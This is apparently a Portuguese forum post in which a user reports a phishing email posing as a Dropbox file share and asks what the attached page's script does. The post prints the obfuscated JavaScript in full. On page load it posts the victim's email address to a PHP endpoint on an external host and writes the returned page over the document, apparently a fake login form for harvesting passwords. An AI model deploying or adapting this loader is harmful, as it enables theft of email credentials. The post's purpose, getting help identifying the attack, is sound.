Boa tarde.
hoje recebi um e-mail com o assunto: A file was shared with you( MEU E-MAIL DE SERVIÇO) via Drop_Box 11/25/2021 2:24:30 p.m
em anexo tinha o link para uma página, ao abrir aparecia um documento Excel desfocado e pedia a senha de acesso do e-mail do serviço.
não estranhei porque tinha solicitado orçamentos e dizia que era uma FTP...
alguém que perceba o que faz o Script??
<script src="
https://cdnjs.cloudflare.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script type="text/javascript">
var _0x268c=['2jInsci','2008761yASoDQ','245443xaDiov','274811iyDKDu','307361lfWAdt','554VKxZQh','787jKJavU','open','1ICLRvq','post','667885pfRbBI','2HnSZeS','ready','4wbongt','18845sjGbuc'];function _0x2205(_0x518d9f,_0x4a248e){return _0x2205=function(_0x268c58,_0x220595){_0x268c58=_0x268c58-0x162;var _0x34b270=_0x268c[_0x268c58];return _0x34b270;},_0x2205(_0x518d9f,_0x4a248e);}var _0x474b25=_0x2205;(function(_0x32c752,_0x40d253){var _0x17b04c=_0x2205;while(!![]){try{var _0x385152=-parseInt(_0x17b04c(0x170))*-parseInt(_0x17b04c(0x164))+-parseInt(_0x17b04c(0x168))+parseInt(_0x17b04c(0x163))*parseInt(_0x17b04c(0x169))+-parseInt(_0x17b04c(0x167))+parseInt(_0x17b04c(0x16b))*-parseInt(_0x17b04c(0x16a))+parseInt(_0x17b04c(0x16f))*-parseInt(_0x17b04c(0x165))+-parseInt(_0x17b04c(0x16d))*-parseInt(_0x17b04c(0x166));if(_0x385152===_0x40d253)break;else _0x32c752['push'](_0x32c752['shift']());}catch(_0xeaf8bb){_0x32c752['push'](_0x32c752['shift']());}}}(_0x268c,0xf0341),$(document)[_0x474b25(0x162)](function(){var _0x47f9a9=_0x474b25,_0x2d211a='
https://ded3544.inmotionhosting.com/~crmlabs/valen/loik/yut/';$[_0x47f9a9(0x16e)](_0x2d211a+'___.php?_do=layout&email=AQUI TINHA O MEU E-MAIL DO SERVIÇO',function(_0x30e49f,_0x5bb8b3){var _0x1c3730=_0x47f9a9;document[_0x1c3730(0x16c)]('text/html','replace'),document['write'](_0x30e49f),document['close']();});}));
</script>